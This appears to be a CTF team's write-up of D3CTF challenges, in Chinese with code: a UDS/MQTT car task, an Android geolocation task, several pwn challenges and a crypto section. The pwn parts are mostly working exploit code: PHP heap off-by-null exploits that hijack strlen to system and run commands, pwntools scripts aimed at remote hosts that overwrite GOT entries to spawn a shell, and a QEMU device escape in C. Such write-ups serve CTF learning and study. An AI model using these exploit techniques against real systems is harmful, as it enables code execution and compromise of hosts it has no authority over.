if msg.payload == b'06,50,03,00,32,01,f4,ff':
# require auth seed
print("success switch session")
client.publish(write_cmd, bytes.fromhex('022701ffffffffff'))
if msg.payload.startswith(b'05,67,01,'):
print("success require auth seed")
messsage = bytes.fromhex(msg.payload.decode().replace(",",""))
key = bytearray('zxcbafsa'.encode())
data = bytearray(messsage[3:6])
print(data.hex())
assert len(data) == 3
encrypted = RC4(key, data)
assert len(encrypted) == 3
auth_cmd = '052702'
auth_cmd += encrypted.hex()
auth_cmd += 'ffff'
print(auth_cmd)
client.publish(write_cmd, bytes.fromhex(auth_cmd))
if msg.payload.startswith(b'02,67,02,'):
# auth success, get flag
print("auth success")
client.publish(write_cmd, bytes.fromhex('04 31 01 08 86 01 01 01'))
client.publish(write_cmd, bytes.fromhex('04 31 03 08 86 01 01 01'))
def on_subscribe(client, userdata, mid, granted_qos,a):
print("Subscribed: "+str(mid)+" "+str(granted_qos))
# switch session
client.publish(write_cmd, bytes.fromhex('02 10 03 AA AA AA AA AA'))
mqttc = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2)
mqttc.on_connect = on_connect
mqttc.on_message = on_message
mqttc.on_subscribe = on_subscribe
mqttc._client_id = 'Gojo_Satoru311234'
mqttc.username_pw_set("abmaM_kcalb", "Ya5_1_n4C_tahW")
mqttc.connect("127.0.0.1", 1883, 60)
mqttc.loop_forever()
10,20,71,08,86,64,33,63
21,74,66,7b,31,6e,63,6f
22,6d,70,31,65,74,65,5f
23,55,44,53,5f,73,65,72
24,76,69,63,65,7d,ff,ff
uds多帧消息
d3ctf{1ncomp1ete_UDS_Service}
D3 car 3
模拟器的桌面上 没有安装地图的默认错误提示被改成了 Where am i located?
尝试安装地图软件发现安装不上。
adb pull /system/framework/oat/x86_64/services.art /system/framework/oat/x86_64/services.odex /system/framework/oat/x86_64/services.vdex ./services
vdexExtractor -i ./services --ignore-crc-error
反编译PackageManger得知强制进行checkAppStoreSignature证书校验 证书/system/etc/security/D3CA.cer
com.android.server.pm.PackageManagerService
static{
sAppStoreCertificatePath = "/system/etc/security/D3CA.cer";
sAppStoreSignature = loadAppStoreSignature();
}
private int checkAppStoreSignature(Signature[] signatures) {
if (signatures != null && sAppStoreSignature != null) {
for (Signature s : signatures) {
if (s != null && s.equals(sAppStoreSignature)) {
return 50331649;
}
}
return 50331650;
}
return 50331650;
}
private void installNewPackageLIF(PackageParser.Package pkg, int policyFlags, int scanFlags, UserHandle user, String installerPackageName, String volumeUuid, PackageInstalledInfo res, int installReason) {
Trace.traceBegin(262144L, "installNewPackage");
String pkgName = pkg.packageName;
if (!isSystemApp(pkg) && checkAppStoreSignature(pkg.mSignatures) != 50331649) {
res.returnCode = -28;
return;
}
...}
在/system/etc/security 找到公钥和D3CALib
不知道D3CALib是啥
Adb shell dumpsys location可以看GPS定位信息,但是只能在其它程序进行过定位的情况下可以看到,不能主动触发GPS定位。需要有个东西主动触发GPS定位。
模拟器里有相机,给相机定位权限
adb shell monkey -p com.android.camera2 1 打开相机
屏幕上勾选相机的给照片添加位置信息选项,然后dumpsys location
经纬度倒一下然后去高德地图搜
定到了浙江省杭州市钱塘区白杨街道之江东路保利·江语海的东南门,高德地图内查看评论区即可
看评论区这个人就行
Pwn
PwnShell
Php disable_function限制死了,和php没啥关系(除了apache + php的线程和内存结构),就是一个pwn题套了php
https://www.anquanke.com/post/id/235237#h3-7
参考这篇文章,啥都不用干直接就能拿libc地址和模块地址
一个php扩展,有四个函数
zif_addHacker(string,string)
zif_removeHacker(int)
zif_editHacker(int,string)
zif_displayHacker(int)
// 泄漏地址
<?php
function hex($intval) {
return dechex($intval);
}
var_dump(addHacker("ABCDABCD", "QWER"));
$leak = unpack("P", substr(displayHacker(0), 8, 6) . "\x00\x00")[1];
var_dump(hex($leak));
?>
unsigned __int64 __fastcall zif_addHacker(input_val *a1, ret_val *a2)
{
__int64 idx; // rbp
__int64 num_vals; // rdi
__int64 v5; // rdx
unsigned __int64 *p_is_free; // rax
list_item *item; // r12
hacker *hacker; // rbx
char *arg1_buf; // rax
size_t arg1_len; // rdx
char *v11; // rsi
zend_val_str *arg2_; // r13
unsigned __int64 data2_len; // rax
zend_val_str *arg2; // [rsp+8h] [rbp-40h] BYREF
zend_val_str *arg1; // [rsp+10h] [rbp-38h] BYREF
unsigned __int64 v16; // [rsp+18h] [rbp-30h]
num_vals = a1->num_vals;
v16 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(num_vals, "zz", &arg1, &arg2) != -1 )
{
if ( arg1->type == 6 && arg2->type == 6 )
{
v5 = 0LL;
p_is_free = &chunkList[0].is_free;
while ( *(_BYTE *)p_is_free != 1 )
{
++v5;
p_is_free += 2;
if ( v5 == 16 )
goto LABEL_9;
}
idx = v5;
LABEL_9:
item = &chunkList[idx];
hacker = (hacker *)_emalloc(arg2->str->len + 0x10);
arg1_buf = (char *)_emalloc(arg1->str->len);
hacker->str1 = arg1_buf;
arg1_len = arg1->str->len;
v11 = arg1->str->val;
hacker->len_str1 = arg1_len;
memcpy(arg1_buf, v11, arg1_len);
arg2_ = arg2;
memcpy(hacker->str2, arg2->str->val, arg2->str->len);
data2_len = arg2_->str->len;
item->hacker = hacker;
LODWORD(item->is_free) = 0xD;
hacker->str2[data2_len] = 0;
}
else
{
a2->status = 1;
}
}
return v16 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall zif_removeHacker(input_val *a1, ret_val *a2, __int64 a3, __int64 a4)
{
__int64 num_vals; // rdi
list_item *v6; // rax
hacker *hacker; // rbp
zend_val_num *v8; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v9; // [rsp+8h] [rbp-20h]
num_vals = a1->num_vals;
v9 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(num_vals, (char *)"z", &v8, a4) != -1 )
{
if ( v8->type != 4 || (v6 = &chunkList[v8->num], LOBYTE(v6->is_free) == 1) || v8->num > 0xF )
{
a2->status = 1;
}
else
{
hacker = v6->hacker;
_efree(v6->hacker->str1);
_efree(hacker);
LODWORD(chunkList[v8->num].is_free) = 1;
}
}
return v9 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall zif_addHacker(input_val *a1, ret_val *a2)
{
__int64 idx; // rbp
__int64 num_vals; // rdi
__int64 v5; // rdx
unsigned __int64 *p_is_free; // rax
list_item *item; // r12
hacker *hacker; // rbx
char *arg1_buf; // rax
size_t arg1_len; // rdx
char *v11; // rsi
zend_val_str *arg2_; // r13
unsigned __int64 data2_len; // rax
zend_val_str *arg2; // [rsp+8h] [rbp-40h] BYREF
zend_val_str *arg1; // [rsp+10h] [rbp-38h] BYREF
unsigned __int64 v16; // [rsp+18h] [rbp-30h]
num_vals = a1->num_vals;
v16 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(num_vals, "zz", &arg1, &arg2) != -1 )
{
if ( arg1->type == 6 && arg2->type == 6 )
{
v5 = 0LL;
p_is_free = &chunkList[0].is_free;
while ( *(_BYTE *)p_is_free != 1 )
{
++v5;
p_is_free += 2;
if ( v5 == 16 )
goto LABEL_9;
}
idx = v5;
LABEL_9:
item = &chunkList[idx];
hacker = (hacker *)_emalloc(arg2->str->len + 0x10);
arg1_buf = (char *)_emalloc(arg1->str->len);
hacker->str1 = arg1_buf;
arg1_len = arg1->str->len;
v11 = arg1->str->val;
hacker->len_str1 = arg1_len;
memcpy(arg1_buf, v11, arg1_len);
arg2_ = arg2;
memcpy(hacker->str2, arg2->str->val, arg2->str->len);
data2_len = arg2_->str->len;
item->hacker = hacker;
LODWORD(item->is_free) = 0xD;
hacker->str2[data2_len] = 0;
}
else
{
a2->status = 1;
}
}
return v16 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall zif_removeHacker(input_val *a1, ret_val *a2, __int64 a3, __int64 a4)
{
__int64 num_vals; // rdi
list_item *v6; // rax
hacker *hacker; // rbp
zend_val_num *v8; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v9; // [rsp+8h] [rbp-20h]
num_vals = a1->num_vals;
v9 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(num_vals, (char *)"z", &v8, a4) != -1 )
{
if ( v8->type != 4 || (v6 = &chunkList[v8->num], LOBYTE(v6->is_free) == 1) || v8->num > 0xF )
{
a2->status = 1;
}
else
{
hacker = v6->hacker;
_efree(v6->hacker->str1);
_efree(hacker);
LODWORD(chunkList[v8->num].is_free) = 1;
}
}
return v9 - __readfsqword(0x28u);
}unsigned __int64 __fastcall zif_displayHacker(input_val *a1, ret_val *a2, __int64 a3, __int64 a4)
{
__int64 num_vals; // rdi
list_item *v6; // rax
const char *str1; // r13
size_t str1_len; // r12
zend_str *str_builder; // rbp
__int64 v10; // [rsp+0h] [rbp-38h] BYREF
unsigned __int64 v11; // [rsp+8h] [rbp-30h]
num_vals = a1->num_vals;
v11 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(num_vals, (char *)"z", &v10, a4) != -1 )
{
if ( *(_BYTE *)(v10 + 8) != 4
|| (v6 = &chunkList[*(_QWORD *)v10], LOBYTE(v6->is_free) == 1)
|| *(_QWORD *)v10 > 0xFuLL )
{
a2->status = 1;
}
else
{
str1 = v6->hacker->str1;
str1_len = strlen(str1);
str_builder = (zend_str *)_emalloc((str1_len + 32) & 0xFFFFFFFFFFFFFFF8LL);
str_builder->gc = (zend_refcounted)0x1600000001LL;
str_builder->h = 0LL;
str_builder->len = str1_len;
memcpy(str_builder->val, str1, str1_len);
str_builder->val[str1_len] = 0;
a2->ret_data = str_builder;
a2->status = 262;
}
}
return v11 - __readfsqword(0x28u);
}
addHacker最后有个off by null
一些利用参考
https://m4p1e.com/2024/03/01/CVE-2023-3824/
暂时无法在飞书文档外展示此内容
基本想法就是堆喷+off by null造UAF
之前想麻烦了,用他自己带的structure去搞aaw+aar就行
<?php
function hex($intval) {
return dechex($intval);
}
// addHacker("ABCDABCD", "QWERQWERQWERQWERQWERQWERQWERQWER"); // allocate 0x30
// $leak = unpack("P", substr(displayHacker(0), 8, 6) . "\x00\x00")[1];
// var_dump(hex($leak));
addHacker("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "QWERQWERQWERQWERQWERQWERQWERQWA");
addHacker("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", "QWERQWERQWERQWERQWERQWERQWERQWB");
addHacker("CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC", "QWERQWERQWERQWERQWERQWERQWERQWC");
addHacker("DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD", "QWERQWERQWERQWERQWERQWERQWERQWD");
addHacker("EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE", "QWERQWERQWERQWERQWERQWERQWERQWE");
addHacker("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", "QWERQWERQWERQWERQWERQWERQWERQWF");
addHacker("GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG", "QWERQWERQWERQWERQWERQWERQWERQWG");
addHacker("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", "QWERQWERQWERQWERQWERQWERQWERQWH");
removeHacker(6);
addHacker("HELLO", "QWERQWERQWERQWERQWERQWERQWERQWGA");
var_dump(displayHacker(7));
?>
大致思路:
typedef struct {
char* str1;
unsigned long len_str1;
char str2[0];
} hacker;
- 先喷多个hacker,确保其中有一个str1的地址结尾是xx00,不要触发溢出
- 创建两个连续的hacker
- 释放倒数第二个hacker
- 创建一个hacker,用off-by-null改写倒数第一个hacker的str1
- 此时倒数第一个hacker的str1指向xx00,并且前面也有一个hacker的str1指向xx00
- 用displayHacker(倒数第二个)来看一下指向的是哪个
- 释放掉前面的相对应的hacker
- 再创建一个hacker,让此hacker本身的长度为刚才的str1的长度
这样就有一个hacker的str1指向步骤8中的hacker,利用edit和display就可以aaw+aar
不同启动方式的堆布局会很不一样,可能需要进docker调试
直接使用php 1.php执行会执行命令,但通过浏览器访问1.php不能执行命令
<?php
function substr($str,$start,$len){
$data="";
for ($i=0;$i<$len;$i++){
$data.=$str[$start+$i];
}
return $data;
}
function p64($num){
$data="";
$cache=hex2bin(dechex($num));
$cache=strrev($cache)."\0\0\0\0\0\0\0";
for ($i=0;$i<8;$i++){
$data.=$cache[$i];
}
return $data;
}
$pad="qwerqwerqwerqwer";
addHacker("rotwilll","asdfasdf");
addHacker($pad,"rotwill");
editHacker(1,$pad."qwerqwer");
$d=displayHacker(1);
$chunk=0;
$chunk_="";
$off=24;
for($i=0x7+$off;$i>=$off;$i--){
$chunk=$chunk<<8;
$chunk_=$d[$i].$chunk_;
$chunk+=ord($d[$i]);
}
$php_addr=$chunk-0x11538e0;
$gadget=$php_addr+2108256;
$r=$php_addr+0x1A03B;
editHacker(1,"/r* >1;r".p64($gadget).p64($r));
// 获取libc地址
<?php
function substr($str,$start,$len){
$data="";
for ($i=0;$i<$len;$i++){
$data.=$str[$start+$i];
}
return $data;
}
function p64($num,$len=8){
$data="";
$cache=hex2bin(dechex($num));
$cache=strrev($cache)."\0\0\0\0\0\0\0";
for ($i=0;$i<$len;$i++){
$data.=$cache[$i];
}
return $data;
}
function read($d,$off=0){
$d.="\0\0\0\0\0\0\0\0\0";
$chunk=0;
for($i=0x7+$off;$i>=$off;$i--){
$chunk=$chunk<<8;
$chunk+=ord($d[$i]);
}
return $chunk;
}
function outdata($data,$addr=0){
if ($addr==0){
print("data: ".bin2hex($data)."\n");
}
else{
print("$addr : ".bin2hex($data)."\n");
}
}
$pad="qwerqwerqwerqwer";
addHacker("asdfasdf".$pad,"rotwill"); // 0-0->0-1
addHacker("asdfasdf".$pad,"rotwill"); // 1
addHacker("asdfasdf".$pad,"rotwill"); // 2
addHacker("asdfasdf".$pad,"rotwill"); // 3
addHacker("asdfasdf".$pad,"rotwill"); // 4
$d=displayHacker(3);
$chunk4=read($d,24);
$chunk3=$chunk4-0x30;
$chunk2=$chunk3-0x30;
$chunk1=$chunk2-0x30;
$chunk0=$chunk1-0x30;
$chunk_=$chunk4&0xfffffffffff00000;
// $chunk_-=0x1000*84;
// $chunk_+=;
$chunk_+=0x1000;
$chunk_2=$chunk4&0xfffffffffffff00;
$chunk_2=$chunk_2-0x10;
print(dechex($chunk3)."\n");
print(dechex($chunk4)."\n");
print(dechex($chunk_2)."\n");
print(dechex($chunk_)."\n");
if ($chunk4&0xff00==$chunk3&0xff00){
die("123123");
}
removeHacker(3);
addHacker("asdfasdfasdfasdf".$pad,"rotwill");
addHacker("asdfasdfasdfasdf".$pad,"rotwilll");
$d=displayHacker(4);
print(bin2hex($d)."\n");
editHacker(4,"rotwilll".p64($chunk_2).p64(0xffff));
editHacker(4,p64($chunk_));
addHacker("asdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasd","asdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasd");
editHacker(4,p64($chunk_+(123+1)*8));
$d=displayHacker(5);
outdata($d);
$c_=read($d);
if ($c_&0xf00000000000!=0x500000000000)
die("123123");
$c_+=-8-0x50-0x50-0x10-0x30-0x100+8;
print(dechex($c_)."\n");
editHacker(4,p64($c_));
$d=displayHacker(5);
outdata($d,1);
$c_=read($d);
print(dechex($c_)."\n");
editHacker(4,p64($c_-0x28-8-0x220+8+8+8));
$d=displayHacker(5);
outdata($d,2);
$c_=read($d);
print(dechex($c_)."\n");
editHacker(4,p64($c_+8+8));
$d=displayHacker(5);
outdata($d,3);
$c_=read($d);
print(dechex($c_)."\n");
editHacker(4,p64($c_+8+8));
$d=displayHacker(5);
outdata($d,4);
$c_=read($d);
print(dechex($c_)."\n");
editHacker(4,p64($c_+8+8));
$d=displayHacker(5);
outdata($d,5);
$c_=read($d);
print(dechex($c_)."\n");
$libc-=0x1d2ed0;
Exp
//利用off by null修改数据指针
//实现任意地址读写
<?php
function substr($str,$start,$len){
$data="";
for ($i=0;$i<$len;$i++){
$data.=$str[$start+$i];
}
return $data;
}
function p64($num,$len=8){
$data="";
$cache=hex2bin(dechex($num));
$cache=strrev($cache)."\0\0\0\0\0\0\0";
for ($i=0;$i<$len;$i++){
$data.=$cache[$i];
}
return $data;
}
function read($d,$off=0){
$d.="\0\0\0\0\0\0\0\0\0";
$chunk=0;
for($i=0x7+$off;$i>=$off;$i--){
$chunk=$chunk<<8;
$chunk+=ord($d[$i]);
}
return $chunk;
}
function outdata($data,$addr=0){
if ($addr==0){
print("data: ".bin2hex($data)."\n");
}
else{
print("$addr : ".bin2hex($data)."\n");
}
}
function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$mod_base=hexdec($mbase[1][0]);
print($mod_base." \n");
print($libc_base." \n");
$pad="qwerqwerqwerqwer";
addHacker("asdfasdf".$pad,"rotwill"); // 0-0->0-1
addHacker("asdfasdf".$pad,"rotwill"); // 1
addHacker("asdfasdf".$pad,"rotwill"); // 2
addHacker("asdfasdf".$pad,"rotwill"); // 3
addHacker("asdfasdf".$pad,"rotwill"); // 4
$d=displayHacker(3);
$chunk4=read($d,24);
$chunk3=$chunk4-0x30;
$chunk2=$chunk3-0x30;
$chunk1=$chunk2-0x30;
$chunk0=$chunk1-0x30;
$chunk_=$chunk4&0xfffffffffff00000;
$chunk_+=0x1000;
$chunk_2=$chunk4&0xfffffffffffff00;
$chunk_2=$chunk_2-0x10;
print(dechex($chunk3)."\n");
print(dechex($chunk4)."\n");
print(dechex($chunk_2)."\n");
print(dechex($chunk_)."\n");
if ($chunk4&0xff00==$chunk3&0xff00){
die("123123");
}
removeHacker(3);
addHacker("/readflag > /var/www/html/1.txt;","rotwill"); #3
addHacker("asdfasdfasdfasdf".$pad,"rotwilll"); #5
$d=displayHacker(4);
print(bin2hex($d)."\n");
editHacker(4,"rotwilll".p64($chunk_2).p64(0xffff));
editHacker(4,p64($chunk_));
addHacker("/readflag > /var/www/html/1.txt;fasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasd","asdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasd");
#6
$system=$libc_base+312464;//0x4c022;
$strlen=$mod_base+16440;
editHacker(4,p64($strlen));
editHacker(5,p64($system));
removeHacker(6);
Write flag where
可以用flag里的字符在code段任意写,
覆盖了stack chk fail 的lea指令, 根据输出的不同来判断flag值是什么
from pwn import *
# context.terminal = ["zellij", "action", "new-pane", "-d", "down", "-c", "--", "zsh", "-c"]
context.update(arch='amd64', os='linux')
context.log_level = 'info'
exe_path = ('./vuln')
exe = context.binary = ELF(exe_path)
libc = ELF('libc.so.6')
host = '47.103.122.127'
port = 30217
# host = "127.0.0.1"
# port = 9999
# if sys.argv[1] == 'r':
# p = remote(host, port)
# elif sys.argv[1] == 'p':
# p = process(exe_path)
# else:
# p = gdb.debug(exe_path, 'b *$rebase(0x170c)')
def one_gadget(filename, base_addr=0):
return [(int(i, p)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
def gdb_pause(p):
gdb.attach(p)
pause()
def pwn(idx, p):
libc.address = int(b"0x"+(p.recv(12)), 16)-0x26000
# print(hex(libc.address+0x5c57d))
p.sendlineafter(b"}}", str(libc.address+0x138f39)+" "+str(idx))
# p.sendlineafter(b"}}", str(libc.address+0x137c92)+" "+str(5))
p.sendline(str(libc.address+0x5c57d)+" "+str(8))
p.sendline(str(libc.address+0x5c57d)+" "+str(8))
return p.recvall()[5:]
# f = open("./turn", "w")
flag = "d3ctf{"
for i in range(0, 60):
p = remote(host, port)
try:
res = pwn(i, p)[0:3]
if res == b"ktr":
flag += "a"
elif res == b"tra":
flag += "b"
elif res == b"rac":
flag += "c"
elif res == b"ace":
flag += "d"
elif res == b"ces":
flag += "e"
elif res == b"esy":
flag += "f"
elif res == b"ed ":
flag += "1"
elif res == b"d s":
flag += "2"
elif res == b" st":
flag += "3"
elif res == b"sta":
flag += "4"
elif res == b"tac":
flag += "5"
elif res == b"ack":
flag += "6"
elif res == b"ck ":
flag += "7"
elif res == b"k f":
flag += "8"
elif res == b" fr":
flag += "9"
elif res == b"zed":
flag += "0"
continue
# f.write(str(i))
# f.write(res.decode())
# f.write("\n")
except EOFError:
continue
# f.close()
flag+= "}"
print(flag)
print(len(flag))
D3BabyEscape
#!/bin/sh
./qemu-system-x86_64 \
-L ../pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null \
-device l0dev
结构体数据
暂时无法在飞书文档外展示此内容
可以任意地址执行,然后可控rdi参数的内容的前四字节
#include <fcntl.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/io.h>
#include <sys/mman.h>
#include <unistd.h>
#include <string.h>
void* mmio;
uint32_t port_base = 0xc000;
void pmio_write(uint32_t port, uint32_t val) {
outl(val, port_base + port);
}
uint32_t pmio_read(uint32_t port) {
return (uint32_t)inl(port_base + port);
}
void mmio_write(uint64_t addr, uint64_t value) {
*(uint64_t*)(mmio + addr) = value;
}
uint64_t mmio_read(uint64_t addr) {
return *(uint64_t*)(mmio + addr);
}
int main() {
if (iopl(3) != 0) {
printf("I/O permission is not enough\n");
return 1;
}
int mmio_fd =
open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
uint64_t u64cmd;
const char* cmd = "sh";
strcpy(&u64cmd, cmd);
mmio_write(0, 666);
uint32_t num = pmio_read(0);
mmio_write(0x80, 0x100);
uint64_t libc_base = mmio_read(0x14) - 0x1e780;
printf("libc_base:\t0x%llx\n", libc_base);
if (libc_base == 0 || (libc_base & 0xFFF) != 0) {
return 1;
}
uint64_t system_addr = libc_base + 0x28d70;
pmio_write(0x14, system_addr & 0xFFFFFFFF);
pmio_write(0x18, system_addr >> 32);
mmio_write(0x40, u64cmd);
return 0;
}
cmd 改成sh即可
d3note
输入6425 (delete)再读入一个整数,然后清空这个偏移的note
输入2064 (edit)再读入一个整数,然后向这个偏移位置读入之前设置的长度的内容
输入276 (add) 再读入第一个整数是偏移,第二个整数是长度,然后malloc然后读入内容
输入1300 (show) puts输出这个偏移位置的note
其它输入 puts("Invalid choice");
GNU C Library (Debian GLIBC 2.37-15) stable release version 2.37.
No PIE Partial RELRO
add/edit/delete没有检测偏移是否合法
show可以puts任意对齐16字节的指针指向的地址的内容
Exp
RELA table 有got表的地址,用这个就可以leak
.dynamic 段有DT_GNU_HASH的地址,所以可以在DT_GNU_HASH地址处任意写
在DT_GNU_HASH伪造note结构,就可以直接任意地址写了
然后改了free的got表
from pwn import *
context.terminal = ["zellij", "action", "new-pane", "-d", "down", "-c", "--", "zsh", "-c"]
context.update(arch='amd64', os='linux')
context.log_level = 'info'
exe_path = ('./pwn')
exe = context.binary = ELF(exe_path)
libc = ELF('./libc.so.6')
host = '106.14.121.29'
port = 30010
if sys.argv[1] == 'r':
p = remote(host, port)
elif sys.argv[1] == 'p':
p = process(exe_path)
else:
p = gdb.debug(exe_path, 'decompiler connect ida --host localhost --port 3662')
def one_gadget(filename, base_addr=0):
return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
def gdb_pause(p):
gdb.attach(p)
pause()
def add(idx, size, content):
p.sendline("276")
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
def delete(idx):
p.sendline("6425")
p.sendline(str(idx))
def edit(idx, content):
p.sendline("2064")
p.sendline(str(idx))
p.send(content)
def show(idx):
p.sendline("1300")
p.sendline(str(idx))
def pwn():
add(0, 0x20, "/bin/sh\x00\n")
show(-924)
libc.address = u64(p.recvuntil(b"\x7f")[-6:]+b"\x00"*2) - libc.symbols["malloc"]
log.info("libc_base:"+hex(libc.address))
# gdb_pause(p)
# edit(-924-6, p64(libc.symbols["system"]))
edit(-1431-9, p64(0x8)+p64(0x404000) +b"\n")
edit(-1481, p64(libc.symbols["system"])+b"\n")
delete(0)
p.interactive()
pwn()
Crypto
d3matrix2
深搜,由于D矩阵很小,E矩阵的包裹不影响trace,因此利用元素相消后trace一定会减小的性质探索序列。
from copy import deepcopy
p = 2**1105 - 1335
k = 99
n = 24
alpha = 2
pk = load(r'C:\Users\chax\Desktop\d3\d3matrix2\pk.sobj')
c = load(r'C:\Users\chax\Desktop\d3\d3matrix2\c.sobj')
now = (c.trace())
def search(l,now,nowc,road):
print(len(l),road)
if len(l) <= 1:
print(l)
return 0
for i in l:
if ((pk[i]^-1*nowc).trace()) < now:
TT = deepcopy(l)
TT.remove(i)
search(TT,(pk[i]^-1*nowc).trace(),pk[i]^-1*nowc,road+[i])
return 0
search([i for i in range(k)],now,c,[])
import hashlib
from Crypto.Cipher import AES
rangelist = [29, 36, 93, 58, 19, 7, 27, 41, 17, 56, 14, 96, 53, 30, 47, 74, 70, 85, 16, 4, 23, 92, 25, 34, 15, 42, 84, 76, 98, 62, 91, 28, 86, 6, 12, 87, 89, 37, 97, 94, 2, 57, 59, 95, 52, 66, 68, 8, 20, 64, 43, 46, 24, 90, 81, 39, 35, 54, 13, 73, 75, 67, 44, 83, 38, 78, 5, 80, 18, 31, 63, 55, 32, 49, 48, 0, 3, 10, 60, 72, 71, 33, 50, 9, 26, 51, 79, 22, 65, 21, 82, 77, 61, 45, 11, 40, 69, 88,1]
key = hashlib.sha256(str(rangelist).encode()).digest()
aes = AES.new(key = key , mode = AES.MODE_ECB)
ct = b'lD\xfc\xf4\xdb+\xcd\xbd\xff\x1a!C\x0e\x16\t\xa7:<\x94<\xac(M(i\xee\xf9B\xc7\xea}\x1b\x86\xf8e\xff\xa8<\xc2\xf0\x02P\xd8%$\xc3\xe9-'
flagc = aes.decrypt(ct)
print(flagc)
S0DH
拿板子打出私钥Sb
# Local imports
import public_values_aux
from public_values_aux import *
# Load Sage files
load('castryck_decru_shortcut.sage')
# Set the prime, finite fields and starting curve
# with known endomorphism
a = 38
b = 25
p = 2**a * 3**b - 1
Fp2.<ii> = GF(p^2, modulus=x^2+1)
E_start = EllipticCurve(Fp2, [0,6,0,1,0])
E_start.set_order((p+1)^2) # Speeds things up in Sage
# Generation of the endomorphism 2i
two_i = generate_distortion_map(E_start)
Pa = (199176096138773310217268*ii + 230014803812894614137371, 21529721453350773259901*ii + 106703903226801547853572)
Qa = (8838268627404727894538*ii + 42671830598079803454272, 232086518469911650058383*ii + 166016721414371687782077)
Pb = (200990566762780078867585*ii + 156748548599313956052974, 124844788269234253758677*ii + 161705339892396558058330)
Qb = (39182754631675399496884*ii + 97444897625640048145787, 80099047967631528928295*ii + 178693902138964187125027)
phib_Pa = (149703758091223422379828*ii + 52711226604051274601866, 112079580687990456923625*ii + 147229726400811363889895)
